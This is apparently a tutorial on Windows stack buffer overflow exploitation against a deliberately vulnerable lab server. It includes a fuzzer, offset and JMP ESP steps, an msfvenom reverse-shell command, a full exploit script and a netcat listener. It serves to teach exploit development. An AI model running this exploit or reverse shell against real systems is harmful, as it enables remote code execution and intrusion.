Stack-based buffer overflows are the foundational technique of Windows exploit development. If you’ve never written one, this is the right place to start. We’ll go from a crash all the way to popping a shell.

The Target

For this walkthrough, we’re using a deliberately vulnerable Windows application. The same principles apply to real-world targets — older VoIP software, FTP servers, media players, and various legacy applications still have this attack surface.

Step 1: Fuzzing — Finding the Crash

Start with a simple fuzzer that sends progressively longer strings until the application crashes:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import socket

target_ip = "192.168.1.100"
target_port = 9999

buffer = "A" * 100

while len(buffer) < 5000:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        s.send(("TRUN /.:/" + buffer).encode())
        s.close()
        print(f"[*] Sent {len(buffer)} bytes")
    except:
        print(f"[+] Crash at {len(buffer)} bytes")
        break
    buffer += "A" * 100

Step 2: Confirming the Crash in Immunity Debugger

Load the application into Immunity Debugger (File > Attach or open directly). Run the fuzzer. When the crash happens, Immunity will pause execution and show you the register state.

Look at the EIP register. If it reads 41414141, you’ve confirmed that your A characters have overwritten the instruction pointer. 0x41 is the hex value of the ASCII character A.

EIP = 41414141   ← We control the return address
ESP = 0041F9A8
EBP = 41414141

This is the key moment. Controlling EIP means you control where the processor jumps next — which means you control execution flow.

Step 3: Finding the Exact Offset

Use Metasploit’s pattern_create to generate a unique string, then pattern_offset to find the exact offset at which EIP is overwritten:

1
2
3
4
5
6
# Generate 3000 byte unique pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

# After the crash, read the EIP value (e.g., 386F4337)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337
# [*] Exact match at offset 2003

Step 4: Controlling EIP

Verify control with a targeted payload:

1
2
3
4
5
6
7
8
9
offset = 2003
payload = b"A" * offset
payload += b"B" * 4    # Will appear as 42424242 in EIP
payload += b"C" * 500  # Space for shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(b"TRUN /.:/" + payload)
s.close()

Immunity should now show EIP = 42424242. You have precise control.

Step 5: Finding a JMP ESP

Instead of hardcoding a return address (which changes between systems), we look for a JMP ESP instruction in a loaded module that doesn’t use ASLR or SafeSEH:

1
2
# In Immunity with mona.py:
!mona jmp -r esp -cpb "\x00"

Mona will list modules and JMP ESP gadgets. Pick an address from a module without memory protections. This becomes your new EIP — when execution hits your overwritten return address, it jumps to ESP, which is pointing right at your shellcode.

Step 6: Generating Shellcode

1
2
3
# Generate a reverse shell, avoiding null bytes
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
  -b "\x00" -f python -v shellcode

Step 7: Final Exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import socket

target_ip = "192.168.1.100"
target_port = 9999

offset     = 2003
jmp_esp    = b"\xaf\x11\x50\x62"   # JMP ESP address (little-endian)
nop_sled   = b"\x90" * 16

shellcode  = b""  # Paste msfvenom output here

payload = b"A" * offset + jmp_esp + nop_sled + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(b"TRUN /.:/" + payload)
s.close()
print("[*] Payload sent")

Start your netcat listener (nc -lvnp 4444) before running. A shell should arrive.

What’s Next

This is the basic stack overflow — no ASLR, no DEP, no SafeSEH. Real targets have protections. The next post in this series covers SEH-based overflows and how to bypass SafeSEH. After that: egghunters for situations where you have limited buffer space.